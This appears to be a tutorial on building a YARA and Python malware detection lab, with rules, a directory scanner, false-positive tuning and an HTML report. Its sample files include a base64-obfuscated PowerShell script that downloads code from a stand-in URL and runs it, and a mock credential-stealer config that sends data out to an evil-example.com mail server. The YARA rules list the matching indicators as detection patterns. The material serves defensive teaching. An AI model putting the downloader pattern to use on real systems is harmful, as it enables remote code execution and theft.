Build a Malware Detection Lab with YARA

Write YARA rules and a Python scanner to detect malware patterns in files.

Introduction

30 Second Summary

Security teams don't wait for attacks to succeed. They write detection rules that automatically catch threats hiding in files before damage is done.

In this project, you will build a local malware detection lab using YARA and Python. You will write custom rules that catch obfuscated PowerShell downloaders and credential harvesting patterns, then build a scanner that automates detection across entire directories.

What You'll Build

Drop files into your scanner, press enter, and watch each one get checked against your custom detection rules, with results landing in a styled HTML report you can open in your browser and show in interviews.

By the end of this project, you'll have:

  • Custom YARA rules that detect obfuscated PowerShell downloaders and credential harvesting patterns when you scan a file.
  • A Python-powered scanner that checks every file in a directory against all your rules with a single command, flagging threats and passing clean files.
  • A styled HTML detection report with threat counts and file-by-file results you can open in your browser.
  • An optional Secret Mission to push your skills further.

Are there any prerequisites?

This project builds on security fundamentals from the Windows Security Event Triage with PowerShell project. No Python experience is required.

Before We Start

Before we dive in, let's lock in what you're about to build and why it matters for your cybersecurity portfolio.

Set Up Your Detection Lab

Your detection lab needs two tools before you can write any rules. Python handles the automation side, running scripts that scan entire directories of files at scale.

YARA is the pattern-matching engine that reads your rules and checks files against them. In this step, you will install both tools and create the folder structure that organizes your rules, sample files, and scan output.

In this step, get ready to:
  • Install Python 3.14 on your machine.
  • Download and set up YARA v4.5.5.
  • Create the project folder structure in VS Code.
Install Python 3.14

Python is the scripting language you will use to automate your YARA scans later in the project. You need version 3.14 or higher.

  • Open your browser and go to the Python downloads page.
  • Click the Download Python 3.14.7 button at the top of the page.
  • Open the downloaded installer file.
  • At the bottom of the installer window, check the Add python.exe to PATH checkbox before doing anything else.
  • Click Install Now.

Why check Add python.exe to PATH?

Adding Python to your PATH lets you run python from any terminal window without typing the full install path. Without this setting, your terminal will not recognize the python command.

  • Once the installer finishes, close it.
  • Open a new PowerShell window by pressing the Windows key, typing PowerShell, and pressing Enter.

Why a new window?

PATH changes from the installer only take effect in terminal windows opened after the install. Any terminal that was already open will not see the new python command.

  • Check your Python version by running this command:
python --version

✔️ I see Python 3.14

Your output looks something like Python 3.14.7. Python is ready to go.

ⓧ I see an older version

Your terminal is using an older Python version that was already on your machine. You need to install 3.14 alongside it.

  • Go to the Python 3.14.7 release page.
  • Scroll down to Files and download the Windows installer (64-bit).
  • Run the installer and make sure Add python.exe to PATH is checked.
  • Click Install Now.
  • Close the installer, open a brand new PowerShell window, and run python --version again.

Still seeing the old version?

The older Python may be earlier on your PATH than the new one. Try running py -3.14 --version instead. If that works, use py -3.14 in place of python throughout this project.

Need more help? Help me fix my Python version on Windows.

ⓧ Command not found

This usually means the Add python.exe to PATH checkbox was not checked during installation.

  • Re-run the Python installer you downloaded.
  • Click Modify.
  • Click Next through the features screen.
  • On the Advanced Options screen, check Add Python to environment variables.
  • Click Install.
  • Close the installer, open a brand new PowerShell window, and run python --version again.

Still not working?

Help me troubleshoot Python not being found on Windows.

Download YARA and create your project folder

YARA is a standalone executable. You do not install it the usual way. Instead, you download a zip file from GitHub and extract the binary into your project.

  • Move to your Desktop by running this command in your PowerShell window:
cd ~/Desktop
  • Create your project folder and move into it by running these commands:
mkdir yara-malware-lab
cd yara-malware-lab
mkdir tools
  • Confirm the folder structure by running:
dir

You should see a tools folder listed in the output.

  • In your browser, go to the YARA v4.5.5 release page.
  • Under Assets, click yara-4.5.5-2368-win64.zip to download it (2.1 MB).
  • Extract the zip into your tools folder by running this command:
Expand-Archive -Path "$HOME\Downloads\yara-4.5.5-2368-win64.zip" -DestinationPath .\tools\ -Force

What does this command do?

Expand-Archive is a built-in PowerShell command that extracts zip files. The -Path flag points to the zip in your Downloads folder. The -DestinationPath flag tells PowerShell where to put the extracted files.

  • Verify the executables landed in the right place by running:
dir .\tools\

You should see yara64.exe and yarac64.exe listed in the output.

See a subfolder instead of the executables?

If dir .\tools\ shows a folder name (like yara-4.5.5-2368-win64) instead of the .exe files, the zip had a nested folder. Move the executables up by running:

Move-Item .\tools\yara-4.5.5-2368-win64\* .\tools\

Then run dir .\tools\ again to confirm yara64.exe is now visible.

Still having trouble with the extraction? Help me extract the YARA zip on Windows.

Open your project in VS Code

Now you will open the project folder in VS Code and create the remaining directories your lab needs.

  • Press the Windows key to open your search bar.
  • Type VS Code and press Enter to open it.
  • Click File in the top menu bar.
  • Click Open Folder.
  • Navigate to your Desktop, select the yara-malware-lab folder, and click Select Folder.

Trust the authors prompt

VS Code may ask if you trust the authors of the files in this folder. Click Yes, I trust the authors to continue.

  • Open the VS Code terminal by pressing Ctrl+` (backtick key, usually above Tab).
  • Create the three remaining project directories by running:
mkdir rules, samples, output
  • Confirm all four directories exist by running:
dir

You should see four folders listed: output, rules, samples, and tools.

Before you run the final verification, what do you think will happen if YARA is correctly set up in the tools folder?

  • Test that YARA works from the VS Code terminal by running:
.\tools\yara64.exe --version

You should see 4.5.5 printed to the terminal. Both tools are ready for your detection lab.

Seeing a command not found error?

Make sure your VS Code terminal is in the yara-malware-lab folder. Check the terminal prompt to confirm. If you are in a different folder, run cd ~/Desktop/yara-malware-lab first.

Also verify that yara64.exe exists inside the tools folder by running dir .\tools\. If the file has a different name (like yara.exe), use that name instead.

Still stuck? Help me get YARA working in my project folder.

Your environment is locked and loaded. Next up, you will write your first YARA rule from scratch and test it against a suspicious file.

Write Your First Detection Rule

Your tools are installed and your project folders are ready. Now it is time to write your first YARA rule from scratch.

Before automating anything, you need to prove you can write a detection rule that catches a suspicious file pattern. This is the foundation of all detection engineering.

In this step, get ready to:
  • Write a YARA rule that detects obfuscated PowerShell patterns in files.
  • Create a safe test file that mimics real malware string patterns.
  • Run YARA manually to confirm your rule catches the test file.
Create your first YARA rule

A YARA rule is a set of string patterns and a condition that tells the scanner when to flag a file. You define the suspicious strings you are hunting for, then set a threshold for how many need to appear before the rule fires.

  • In the VS Code Explorer sidebar, right-click the rules/ folder and select New File.
  • Name the file detect_obfuscated_powershell.yar and paste the following rule into it:
rule Detect_Obfuscated_PowerShell
{
    meta:
        author = "Jaybee124"
        description = "Detects obfuscated or suspicious PowerShell commands"
        severity = "high"
        date = "2026-08-20"

    strings:
        $s1 = "FromBase64String" ascii nocase
        $s2 = "System.Net.WebClient" ascii nocase
        $s3 = "DownloadString" ascii nocase
        $s4 = "Invoke-Expression" ascii nocase
        $s5 = "IEX" ascii

    condition:
        2 of them
}

What does this rule do?

  • The meta section stores information about the rule itself. This does not affect detection. It is documentation for anyone reading the rule later.
  • The strings section defines five patterns that commonly appear in obfuscated PowerShell downloaders. The ascii nocase modifiers make the search case-insensitive on ASCII text.
  • The condition section sets the trigger threshold. 2 of them means the rule fires when any 2 of the 5 strings appear in a scanned file.
  • Save detect_obfuscated_powershell.yar.

You will test this rule against a sample file in the next substep.

✔️ Awesome, I've got everything!

Great. Double check you have saved detect_obfuscated_powershell.yar inside the rules/ folder.

ⓧ I'd like to double check the full code

Here is the complete rule file. Make sure your version matches exactly:

rule Detect_Obfuscated_PowerShell
{
    meta:
        author = "Jaybee124"
        description = "Detects obfuscated or suspicious PowerShell commands"
        severity = "high"
        date = "2026-08-20"

    strings:
        $s1 = "FromBase64String" ascii nocase
        $s2 = "System.Net.WebClient" ascii nocase
        $s3 = "DownloadString" ascii nocase
        $s4 = "Invoke-Expression" ascii nocase
        $s5 = "IEX" ascii

    condition:
        2 of them
}
Create a safe test file

Your rule needs something to scan. You will create a harmless text file that contains the same string patterns real obfuscated PowerShell downloaders use. This file cannot actually run because the encoded URL inside it is fake.

  • In the VS Code Explorer sidebar, right-click the samples/ folder and select New File.
  • Name the file suspicious_script.ps1 and paste the following content into it:
$encoded = "aHR0cDovL2V4YW1wbGUuY29tL3BheWxvYWQ="
$url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))
$client = New-Object System.Net.WebClient
$payload = $client.DownloadString($url)
Invoke-Expression $payload

What's in this file?

This is NOT real malware. It is a harmless text file that contains the string patterns a real obfuscated PowerShell downloader would use.

  • FromBase64String decodes a base64-encoded string. Attackers use this to hide malicious URLs.
  • System.Net.WebClient and DownloadString fetch content from a remote server. Malware uses these to pull payloads.
  • Invoke-Expression executes a string as a PowerShell command. This is how the downloaded payload would run.
  • Save suspicious_script.ps1.

File encoding problems later?

If YARA reports a non-ASCII character error in a later step, the file was likely created in a terminal instead of VS Code. Windows PowerShell's echo command writes files in UTF-16 encoding by default, which YARA cannot parse. Recreate the file in VS Code, which saves as UTF-8.

Still stuck? Check the encoding in the VS Code status bar. It should say UTF-8.

✔️ Awesome, I've got everything!

Great. Make sure you have saved suspicious_script.ps1 inside the samples/ folder.

ⓧ I'd like to double check the full code

Here is the complete test file. Make sure your version matches exactly:

$encoded = "aHR0cDovL2V4YW1wbGUuY29tL3BheWxvYWQ="
$url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))
$client = New-Object System.Net.WebClient
$payload = $client.DownloadString($url)
Invoke-Expression $payload
Run YARA against your test file

Both files are in place. Time to see if your rule actually catches the suspicious script.

Before you run this, what do you expect to happen? Will YARA print a match, or will it stay silent?

  • Run YARA against your sample file by entering this command in the VS Code terminal:
.\tools\yara64.exe rules\detect_obfuscated_powershell.yar samples\suspicious_script.ps1

What does this command do?

  • .\tools\yara64.exe calls the YARA binary from the tools/ folder.
  • The first argument is the rule file to scan with. The second argument is the file to scan.
  • When YARA finds a match, it prints the rule name followed by the file path. When there is no match, it prints nothing.

You should see this output in your terminal:

Detect_Obfuscated_PowerShell samples\suspicious_script.ps1

Your rule matched. YARA found at least 2 of the 5 suspicious strings inside the test file and fired the rule. You just wrote a working detection signature from scratch.

No output at all?

  • Make sure you are running the command from the yara-malware-lab folder (the project root). The file paths in the command are relative to that folder.
  • Check that detect_obfuscated_powershell.yar is inside the rules/ folder, not the project root.
  • Open suspicious_script.ps1 and verify it contains the PowerShell strings (like FromBase64String and Invoke-Expression). An empty or incorrectly saved file produces no match.

Need more help? Describe the exact command you ran and what you saw (or did not see) in the terminal.

Seeing a syntax error?

  • YARA rules are strict about formatting. Check that every string definition starts with a $ prefix and that the value is wrapped in double quotes.
  • Make sure the condition: section appears after strings: and the closing } brace is on its own line at the end of the file.

Still stuck? Share the exact error message YARA printed.

Your first detection rule works. You wrote a YARA rule from scratch and proved it catches a suspicious file. Next up, you will build a Python scanner that automates this detection across an entire directory of samples.

Build the Automated Scanner

In the last step, you proved that your YARA rule can catch a suspicious file. You ran a single rule against a single file and got a match.

Real SOC environments do not scan one file at a time. Analysts need automation that checks entire directories against every detection rule at once. In this step, you will build a Python scanner that does exactly that. But expanding your coverage to more files will reveal a problem your simple rule has been hiding.

In this step, get ready to:
  • Add more sample files and a new credential harvester detection rule.
  • Write a Python scanner that automates YARA across an entire directory.
  • Run the scanner and discover what happens when detection rules meet real-world files.
Add more sample files to your lab

Your samples/ folder currently has just one file. A real scanner needs to handle a mix of suspicious and legitimate files to prove it can tell the difference.

  • In VS Code's Explorer sidebar, right-click the samples folder and select New File.
  • Name the file legit_it_guide.txt and paste the following content:
PowerShell Security Guide for IT Administrators
================================================

Common Attack Indicators to Watch For:

1. Base64 Decoding
   Attackers often use FromBase64String to decode hidden commands.
   This is a legitimate .NET method but watch for suspicious usage.

2. Dynamic Execution
   The Invoke-Expression cmdlet can execute arbitrary strings as
   commands. Monitor your environment for unexpected usage of this
   cmdlet in scripts that were not reviewed by your security team.

Always review scripts before running them in production environments.

What is this file?

This is a completely harmless IT administrator guide. It explains PowerShell security concepts to IT staff.

Notice it mentions FromBase64String and Invoke-Expression in an educational context. These are the same strings your YARA rule looks for. Keep that in mind as you continue.

  • Create another new file in the samples folder called credential_stealer.txt and paste the following content:
[Config]
target_browsers = chrome, firefox, edge
extract_passwords = true
keylog_enabled = true
smtp_server = smtp.evil-example.com
smtp_port = 587
exfil_email = attacker@evil-example.com
grab_cookies = true
screenshot_interval = 30

What is this file?

This simulates a credential harvesting malware config. It targets browser passwords, cookies, and keystrokes, then exfiltrates stolen data over SMTP. This file is safe text that cannot actually do anything.

  • Save both files.
  • Confirm all three sample files exist by running this in your VS Code terminal:
ls samples/

You should see credential_stealer.txt, legit_it_guide.txt, and suspicious_script.ps1 listed.

Missing a file?

Make sure you created both new files inside the samples folder, not in the project root. Check the Explorer sidebar to confirm the files are nested under samples/.

Help me find where my sample files ended up.

Your credential stealer file needs its own detection rule. The PowerShell rule you wrote in Step 2 looks for obfuscation patterns, which will not catch a credential harvesting config.

  • In the rules folder, create a new file called detect_credential_harvester.yar and paste the following rule:
rule Detect_Credential_Harvester
{
    meta:
        author = "Jaybee124"
        description = "Detects credential harvesting configuration files"
        severity = "critical"
        date = "2026-08-20"

    strings:
        $s1 = "extract_passwords" ascii nocase
        $s2 = "keylog" ascii nocase
        $s3 = "grab_cookies" ascii nocase
        $s4 = "smtp_server" ascii nocase
        $s5 = "exfil" ascii nocase
        $s6 = "target_browsers" ascii nocase

    condition:
        3 of them
}

What does this rule do?

This rule targets credential harvesting config files. It searches for strings like extract_passwords, keylog, and grab_cookies that are hallmarks of credential-stealing malware configs.

The condition 3 of them requires at least three of those six strings to appear before the rule fires. A single mention of smtp_server in a legitimate email config will not trigger it.

  • Save detect_credential_harvester.yar.
  • Test the new rule manually by running this command:
.\tools\yara64.exe rules\detect_credential_harvester.yar samples\credential_stealer.txt

You should see Detect_Credential_Harvester samples\credential_stealer.txt printed, confirming the rule catches the config file.

No output from the YARA command?

Check that you saved detect_credential_harvester.yar before running the command. YARA reads the file from disk, so unsaved changes are invisible to it.

Also confirm the file is inside the rules/ folder, not in the project root.

Help me debug why my YARA credential harvester rule is not matching.

Write the scanner script

Running YARA commands one at a time is fine for testing, but a real detection pipeline needs to scan every file against every rule automatically. Your scanner will use Python's subprocess module to call the YARA binary under the hood.

Why subprocess instead of a YARA Python library?

A Python library called yara-python exists, but it does not ship prebuilt Windows packages for Python 3.14. Installing it from source requires Visual Studio build tools, which is a heavy dependency.

Calling the YARA CLI via subprocess is how many SOC workflows operate in practice. It also gives you direct experience with the YARA CLI, which is the tool you will use in actual incident response.

  • In the project root (yara-malware-lab), create a new file called scanner.py and paste the following code:
import subprocess
import os
import sys
from datetime import datetime

# Path to the YARA binary in the tools folder
YARA_EXE = os.path.join("tools", "yara64.exe")

def scan_file(rule_file, target_file):
    """Scan a single file with a YARA rule file."""
    try:
        result = subprocess.run(
            [YARA_EXE, rule_file, target_file],
            capture_output=True,
            text=True
        )
        # Parse YARA output: each line is "RULE_NAME FILE_PATH"
        matches = []
        if result.stdout.strip():
            for line in result.stdout.strip().split("\n"):
                parts = line.split(" ", 1)
                if len(parts) == 2:
                    matches.append({
                        "rule": parts[0],
                        "file": parts[1]
                    })
        return matches
    except FileNotFoundError:
        print(f"Error: YARA not found at {YARA_EXE}")
        print("Make sure the YARA executable is in the tools/ folder.")
        print("Update YARA_EXE at the top of this script if the filename differs.")
        sys.exit(1)

What does this code do?

  • YARA_EXE stores the path to the YARA binary you extracted in Step 1.
  • scan_file() runs YARA as a subprocess and captures its output. YARA prints each match as RULE_NAME FILE_PATH, so the function splits each line on the first space to extract the rule name and file path.
  • The FileNotFoundError handler catches the case where the YARA binary is missing or has a different filename, and prints a helpful error message.
  • Save scanner.py and confirm it loads without syntax errors by running:
python -c "import scanner; print('Module loaded successfully')"

You should see Module loaded successfully printed. If you see a SyntaxError, double-check your code against the block above.

Now add the function that loops through every file in the samples/ directory and tests each one against every rule.

  • In scanner.py, add the following function below scan_file:
def scan_directory(rules_dir, samples_dir):
    """Scan all sample files against all YARA rules."""
    all_matches = []
    clean_files = []

    # Collect all .yar rule files
    rule_files = [
        os.path.join(rules_dir, f)
        for f in os.listdir(rules_dir)
        if f.endswith(".yar")
    ]

    # Collect all files in the samples directory
    sample_files = [
        os.path.join(samples_dir, f)
        for f in os.listdir(samples_dir)
        if os.path.isfile(os.path.join(samples_dir, f))
    ]

    # Test every sample against every rule
    for sample in sample_files:
        file_matched = False
        for rule_file in rule_files:
            matches = scan_file(rule_file, sample)
            if matches:
                file_matched = True
                all_matches.extend(matches)
        if not file_matched:
            clean_files.append(sample)

    return all_matches, clean_files

What does this function do?

  • It builds two lists: every .yar file in the rules directory and every file in the samples directory.
  • It loops through every sample, running it against every rule via scan_file(). Files that match at least one rule go into all_matches. Files that match nothing go into clean_files.
  • Finally, add the main() function and the entry point below scan_directory:
def main():
    rules_dir = "rules"
    samples_dir = "samples"
    output_dir = "output"

    # Create output directory if it doesn't exist
    os.makedirs(output_dir, exist_ok=True)

    print("YARA Malware Detection Scanner")
    print("=" * 40)

    matches, clean_files = scan_directory(rules_dir, samples_dir)

    # Print summary counts
    print(f"\nResults:")
    print(f"  Threats detected: {len(matches)}")
    print(f"  Clean files: {len(clean_files)}")

    # Print each detection with [!] marker
    if matches:
        print("\nDetections:")
        for match in matches:
            print(f"  [!] {match['rule']} -> {match['file']}")

    # Print clean files with [OK] marker
    if clean_files:
        print("\nClean files:")
        for f in clean_files:
            print(f"  [OK] {f}")


if __name__ == "__main__":
    main()

What does this code do?

  • main() sets the paths for rules, samples, and output, then calls scan_directory() to scan everything at once.
  • Detections are printed with a [!] marker showing which rule matched which file. Clean files get an [OK] marker.
  • The if __name__ == "__main__" block ensures main() only runs when you execute the script directly, not when you import it.
  • Save scanner.py.

✔️ Awesome, I've got everything!

Great. Make sure you have saved scanner.py before continuing.

ⓧ I'd like to double check the full code

Your scanner.py is split across three chunks. Scroll up and confirm each one is present, in this order:

  • Chunk 1: Imports (subprocess, os, sys, datetime), the YARA_EXE constant, and the scan_file() function.
  • Chunk 2: The scan_directory() function.
  • Chunk 3: The main() function and the if __name__ == "__main__" entry point.
Run the scanner and observe the false positive

Your scanner is complete. Before you run it, think about what you expect to see. You have three sample files and two YARA rules.

How many detections do you expect? Which files should get flagged, and which should come back clean?

  • Run the scanner by executing:
python scanner.py

You should see 3 detections printed, not 2. The scanner flags suspicious_script.ps1 and credential_stealer.txt as expected. But it also flags legit_it_guide.txt with the Detect_Obfuscated_PowerShell rule.

That is a false positive. The IT guide is a harmless training document that mentions PowerShell terms in an educational context. Your rule's condition (2 of them) is too loose. It fires when just two of the five suspicious strings appear, and the IT guide mentions FromBase64String and Invoke-Expression as part of its teaching content.

Why does this matter?

A scanner that cries wolf on legitimate documents erodes analyst trust. If your rules generate too many false positives, the team starts ignoring alerts. This is exactly the problem detection engineers solve every day.

Do not fix the rule yet. You will tune it in the next step. For now, you have proven that your scanner works and exposed a real detection engineering problem.

Seeing fewer than 3 detections?

Make sure both .yar files are saved in the rules/ folder and all three sample files are saved in the samples/ folder. The scanner only finds files with a .yar extension in rules and only scans actual files in samples.

Help me figure out why my scanner is not detecting all three files.

Your scanner works, and it just taught you the most important lesson in detection engineering: writing rules that match is easy. Writing rules that match only the right things is the hard part. Next up, you will tune your rule to eliminate the false positive and generate a professional HTML report.

Eliminate False Positives and Generate Your Report

Your scanner caught two real threats in the last step. It also flagged a harmless IT training guide as malicious.

A scanner that cries wolf on legitimate files erodes analyst trust. Tuning rules to eliminate false positives while keeping true detections is the core skill of detection engineering. In this step, you will tighten your rule, add report generation, and produce a professional HTML summary of your scan results.

In this step, get ready to:
  • Tune the PowerShell detection rule to eliminate the false positive.
  • Add HTML report generation to the scanner.
  • Run the final scan and verify accurate results with a styled report.
Tighten the PowerShell detection rule

The IT guide got flagged because it mentions FromBase64String and Invoke-Expression in an educational context. That is 2 matching strings, and your current condition fires on just 2 of them. You need to raise the bar so the rule only fires when enough evidence points to an actual attack.

  • In VS Code, open rules/detect_obfuscated_powershell.yar.
  • Replace the entire file contents with this updated rule:
rule Detect_Obfuscated_PowerShell
{
    meta:
        author = "Jaybee124"
        description = "Detects obfuscated or suspicious PowerShell commands"
        severity = "high"
        date = "2026-08-20"

    strings:
        $s1 = "FromBase64String" ascii nocase
        $s2 = "System.Net.WebClient" ascii nocase
        $s3 = "DownloadString" ascii nocase
        $s4 = "Invoke-Expression" ascii nocase
        $s5 = "IEX" ascii
        $s6 = "-EncodedCommand" ascii nocase
        $s7 = "-WindowStyle" ascii nocase
        $s8 = "-NoProfile" ascii nocase

    condition:
        3 of them and filesize < 50KB
}

What changed in this rule?

You added three new strings that real attack scripts use but educational documents do not: -EncodedCommand, -WindowStyle, and -NoProfile. These are PowerShell command-line flags that appear in actual obfuscated downloaders, not in training materials that describe PowerShell concepts.

The condition changed from 2 of them to 3 of them and filesize < 50KB. This requires more evidence before firing and filters out larger documentation files. Your suspicious script is small and matches 4+ strings. The IT guide only matches 2 strings and is larger, so it no longer triggers.

  • Save detect_obfuscated_powershell.yar.

✔️ Awesome, I've got everything!

Great. Double check you have saved detect_obfuscated_powershell.yar.

ⓧ I'd like to double check the full code

Here is the complete updated rule file. Make sure your version matches exactly:

rule Detect_Obfuscated_PowerShell
{
    meta:
        author = "Jaybee124"
        description = "Detects obfuscated or suspicious PowerShell commands"
        severity = "high"
        date = "2026-08-20"

    strings:
        $s1 = "FromBase64String" ascii nocase
        $s2 = "System.Net.WebClient" ascii nocase
        $s3 = "DownloadString" ascii nocase
        $s4 = "Invoke-Expression" ascii nocase
        $s5 = "IEX" ascii
        $s6 = "-EncodedCommand" ascii nocase
        $s7 = "-WindowStyle" ascii nocase
        $s8 = "-NoProfile" ascii nocase

    condition:
        3 of them and filesize < 50KB
}

Before you run the scanner again, think about what you expect to see. Will legit_it_guide.txt still be flagged, or will the tuned rule let it pass?

  • Test your tuned rule by running the scanner:
python scanner.py

You should see 2 detections (suspicious_script.ps1 and credential_stealer.txt) and 1 clean file (legit_it_guide.txt). The false positive is gone.

Why does this matter?

You just completed the core detection engineering loop: write a rule, discover it flags something it should not, then tighten the logic until only real threats trigger. Every SOC team does this cycle daily. A rule that fires on legitimate files wastes analyst time and erodes trust in the entire detection pipeline.

Still seeing legit_it_guide.txt flagged?

  • Make sure you saved detect_obfuscated_powershell.yar after editing. Unsaved changes will not take effect.
  • Check that the condition line reads 3 of them and filesize < 50KB exactly. A typo in the condition will change what triggers.
  • Confirm you have 8 string definitions ($s1 through $s8). If you have fewer, the condition threshold is relative to a smaller set.

Why is my tuned YARA rule still producing false positives?

Add the HTML report generator

Console output disappears when you close the terminal. A professional scanner saves its results to a file you can review later, share with your team, or attach to a ticket. You will add a function that builds a styled HTML report with threat counts and file-level results.

The report generator is a single function that builds an HTML page as a Python string. Because the HTML template is substantial, you will paste it in four parts.

  • In scanner.py, scroll down to the scan_directory function. Find the last line of that function (return all_matches, clean_files).
  • Add two blank lines below it, then start pasting the first part of the generate_report function:
def generate_report(matches, clean_files, output_path):
    """Generate an HTML detection report."""
    timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")

    html = f"""<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>YARA Detection Report</title>
    <style>
        body {{
            font-family: Arial, sans-serif;
            margin: 40px;
            background: #1a1a2e;
            color: #e0e0e0;
        }}
        h1 {{
            color: #e94560;
            border-bottom: 2px solid #e94560;
            padding-bottom: 10px;
        }}
        h2 {{
            color: white;
            background: #e94560;
            padding: 8px 16px;
            border-radius: 4px;
            display: inline-block;
        }}
        .summary {{
            background: #16213e;
  • Continue adding directly below (the CSS styles continue):
            padding: 20px;
            border-radius: 8px;
            margin: 20px 0;
        }}
        .summary span {{
            font-size: 2em;
            font-weight: bold;
        }}
        .threat {{
            color: #e94560;
        }}
        .clean {{
            color: #4ecca3;
        }}
        table {{
            width: 100%;
            border-collapse: collapse;
            margin: 20px 0;
        }}
        th {{
            background: #e94560;
            color: white;
            padding: 12px;
            text-align: left;
        }}
        td {{
            padding: 12px;
            border-bottom: 1px solid #16213e;
        }}
        tr:hover {{
  • Continue adding directly below (the remaining CSS and the HTML body):
            background: #16213e;
        }}
        .footer {{
            margin-top: 40px;
            padding-top: 20px;
            border-top: 1px solid #16213e;
            color: #888;
            font-size: 0.9em;
        }}
    </style>
</head>
<body>
    <h1>YARA Detection Report</h1>
    <div class="summary">
        <p>Scan completed: {timestamp}</p>
        <p>Threats detected: <span class="threat">{len(matches)}</span></p>
        <p>Clean files: <span class="clean">{len(clean_files)}</span></p>
    </div>
"""
  • Finish the function by adding the table-building logic and file write directly below:
    # Add a detections table if any threats were found
    if matches:
        html += """    <h2>Detections</h2>
    <table>
        <tr><th>Rule</th><th>File</th></tr>
"""
        for match in matches:
            html += f"        <tr><td>{match['rule']}</td><td>{match['file']}</td></tr>\n"
        html += "    </table>\n"

    # Add a clean files table
    if clean_files:
        html += """    <h2>Clean Files</h2>
    <table>
        <tr><th>File</th><th>Status</th></tr>
"""
        for f in clean_files:
            html += f"        <tr><td>{f}</td><td>No threats detected</td></tr>\n"
        html += "    </table>\n"

    # Close the HTML and write to file
    html += """    <div class="footer">
        <p>Generated by YARA Malware Detection Lab</p>
    </div>
</body>
</html>"""

    with open(output_path, "w") as f:
        f.write(html)

What does generate_report do?

  • It takes the list of matches and clean files from the scanner and builds an HTML page with a dark theme.
  • The summary section shows threat and clean file counts using dynamic values from the scan results.
  • The detections table lists every match with the rule that caught it and the file path. The clean files table confirms which files passed all rules.
  • The double curly braces ({{ and }}) in the CSS are how Python f-strings escape literal curly braces.

Now you need to call generate_report from main() so the report is generated on every scan.

  • Scroll down to the main() function. Find this block near the end:
    if clean_files:
        print("\nClean files:")
        for f in clean_files:
            print(f"  [OK] {f}")
  • Add the following lines directly below that block to generate the report after every scan:
    # Generate the HTML report
    report_path = os.path.join(output_dir, "detection-report.html")
    generate_report(matches, clean_files, report_path)
    print(f"\nReport saved to {report_path}")

What does this addition do?

These three lines build the output file path, call your new generate_report function with the scan results, and print where the report was saved. Every time you run the scanner, you get both console output and a saved HTML file.

  • Save scanner.py.

✔️ Awesome, I've got everything!

Great. Double check you have saved scanner.py.

ⓧ I'd like to double check the full code

Your scanner.py should contain these sections in order. Scroll through your file and confirm each one is present:

  • Imports (subprocess, os, sys, datetime) and the YARA_EXE path constant.
  • scan_file function (scans a single file with a rule).
  • scan_directory function (iterates all samples against all rules).
  • generate_report function (builds the HTML report). This is the big function you just added in four parts.
  • main function, ending with the three new lines that call generate_report and print the report path.
  • if __name__ == "__main__": guard at the bottom.

Seeing a syntax error when you save?

  • The most common cause is a missing or extra triple-quote ("""). The HTML f-string opens with f""" and closes with """ right after the summary div.
  • Check that the four parts are pasted in order with no gaps or overlapping lines between them.
  • Make sure the generate_report function sits between scan_directory and main, not inside either of them.

Help me fix a syntax error in my scanner.py after adding generate_report

Run the final scan and review the report

You already know the scanner finds 2 threats after tuning the rule. What new output do you expect now that you have added the report generator?

  • Run the final scan by running this command:
python scanner.py

You should see the same 2 detections and 1 clean file as before. This time, a new line appears at the bottom: Report saved to output\detection-report.html.

  • Open the report in your browser. In the VS Code Explorer sidebar, expand the output folder.
  • Right-click detection-report.html and select Reveal in File Explorer.
  • Double-click detection-report.html in File Explorer to open it in your default browser.

You should see a dark-themed report page with a red heading, a summary box showing 2 threats and 1 clean file, a detections table listing each rule and the file it caught, and a clean files table confirming legit_it_guide.txt passed.

Report looks like raw HTML in the browser?

  • Make sure you opened detection-report.html by double-clicking it in File Explorer, not by opening it as a text file inside VS Code.
  • If the page is blank, check that the file is not empty. Open it in VS Code and confirm it starts with <!DOCTYPE html>.
  • If the report shows 3 threats instead of 2, your YARA rule update from the previous substep did not save. Go back and check detect_obfuscated_powershell.yar.

Help me troubleshoot my YARA detection report

Your detection lab is complete. You wrote rules, caught real patterns, eliminated a false positive, and generated a professional report. Next up, you can push your skills further with an optional Secret Mission.

Secret mission

Map Your Rules to MITRE ATT&CK

Your scanner catches threats, but enterprise SOC teams need every detection linked to the adversary behavior it represents. In this bonus mission, you will enrich your YARA rules and Python scanner with MITRE ATT&CK technique mappings. Your HTML report will show clickable links to the exact technique each rule detects.

Clean Up Your Resources

Clean Up Your Resources

This project runs entirely locally, so there are no ongoing costs. Decide whether to keep your resources running, pause them to come back later, or delete them entirely.

Resources you used:

  • yara-malware-lab project folder on your Desktop (includes tools/, rules/, samples/, output/, and scanner.py).
  • Python 3.14 installation on your system.

Keep everything running

No action needed. Choose this if you are still actively building or plan to extend the project with more YARA rules and sample files.

  • Your yara-malware-lab folder stays on your Desktop, ready for you to add new rules and sample files.
  • Python stays installed on your system for future projects.
  • The YARA binary lives inside the tools/ folder, so it does not take up space anywhere else on your machine.

Pause - I'll come back to this later

Since everything runs locally and nothing is using system resources when idle, there is nothing to pause. Your project files sit quietly on disk until you come back.

  • Leave the yara-malware-lab folder on your Desktop. It uses minimal disk space.
  • When you return, open the folder in VS Code and pick up where you left off.

Delete - I don't want to use this again

Remove all project files and optionally uninstall Python if you do not need it for other work.

  • Delete the project folder by running this command in PowerShell:
Remove-Item -Recurse -Force ~\Desktop\yara-malware-lab
  • Confirm the folder is gone by running:
ls ~\Desktop\yara-malware-lab

You should see an error stating the path does not exist. That confirms the folder has been removed.

  • To uninstall Python, press the Windows key and search for Add or remove programs.
  • Search for Python in the app list.
  • Click the three-dot menu next to Python 3.14 and select Uninstall.
  • Only uninstall Python if you are sure no other projects on your machine depend on it.

Nice Work!

Nice Work!

Nice work! You just built a fully functional malware detection lab from scratch using YARA and Python. You can now write detection rules, scan files automatically, and generate professional reports that prove your findings.

You've learned how to:

  • Write custom YARA rules from scratch that detect obfuscated PowerShell downloaders and credential harvesting configs using pattern matching and condition logic.
  • Build a Python scanner that automates YARA across an entire directory of files and generates a professional HTML detection report with threat counts and file-level results.
  • Experience and fix a real false positive by tuning your rule conditions. This is the core skill that separates junior analysts from detection engineers.
  • Secret Mission: Mapped every detection to a MITRE ATT&CK technique, linking your rules to the adversary behaviors they catch.

Ready to quiz yourself?